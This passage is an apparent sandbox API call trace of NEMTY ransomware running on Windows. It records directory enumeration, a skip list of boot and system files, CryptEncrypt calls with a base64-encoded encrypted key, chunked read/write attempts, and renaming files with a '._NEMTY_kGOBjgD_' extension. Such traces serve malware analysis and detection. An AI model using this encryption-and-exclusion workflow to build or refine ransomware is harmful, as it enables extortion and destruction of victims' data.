hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.304] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.304] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.320] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.320] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0148.326] CloseHandle (hObject=0xffffffff) returned 0 [0148.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0148.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0148.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0148.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0148.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0148.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0148.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_hov.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_hov.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_hov.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_hov.png._nemty_kgobjgd_")) returned 0 [0148.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0148.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0148.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0148.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0148.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0148.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0148.327] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da359e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb11, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="pause_rest.png", cAlternateFileName="")) returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2=".") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="..") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="...") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="windows") returned -1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="$RECYCLE.BIN") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="rsa") returned -1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="NTDETECT.COM") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="ntldr") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="MSDOS.SYS") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="IO.SYS") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="boot.ini") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="boot.ini") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="AUTOEXEC.BAT") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="ntuser.dat") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="desktop.ini") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="CONFIG.SYS") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="RECYCLER") returned -1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="BOOTSECT.BAK") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="bootmgr") returned 1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="programdata") returned -1 [0148.327] lstrcmpiW (lpString1="pause_rest.png", lpString2="appdata") returned 1 [0148.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_rest.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_rest.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pause_rest.png", lpUsedDefaultChar=0x0) returned 14 [0148.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_rest.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_rest.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pause_rest.png", lpUsedDefaultChar=0x0) returned 14 [0148.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_rest.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_rest.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pause_rest.png", lpUsedDefaultChar=0x0) returned 14 [0148.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_rest.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0148.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pause_rest.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pause_rest.png", lpUsedDefaultChar=0x0) returned 14 [0148.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0148.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0148.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0148.328] Sleep (dwMilliseconds=0x5) [0148.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc103790, dwHighDateTime=0x1d561e8)) [0148.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc103790, dwHighDateTime=0x1d561e8)) [0148.338] GetLastError () returned 0x5 [0148.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0148.338] GetLastError () returned 0x5 [0148.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0148.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.338] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0148.338] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0148.339] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0148.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0148.339] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="pPigWiKd5Y20V5gT9pX+3nK/FOLPoDrYtINYfrgK+eQhg/Pr7JVA/3Gh5FFeJPlM\r\nvsEoWooDyQ0GMtnK5uXZxiZMK50gZB0tkIu0zmc/+s5Vy07gIi1c4+vqlLq3w/DY\r\nyf3LjZj1y69H9Wce8n03ouaiZ3I3UVG7OXp1LOXsEk9SNpqMxtS/qQ1bva8R2Lfv\r\nxlUoqGuDoIDtz6v/a246l9kn8fQsgvp0Z68+fnkOEW3eTSrAzg+nt1LH1dueiQ98\r\nD+2Mw2Sl/O/yEgdHz0iZdm921Lz/7OCStIp8X1GUryi1ArRORmln4KFDqmbTYZ3J\r\ns8CRR6S9MZQNBhd4YVenAA==\r\n", pcchString=0x653e91c) returned 1 [0148.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0148.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0148.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0148.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0148.339] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\pause_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\pause_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0148.340] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0148.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0148.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.358] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.358] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.396] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.396] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.423] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.433] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.433] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.433] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.439] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.439] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff 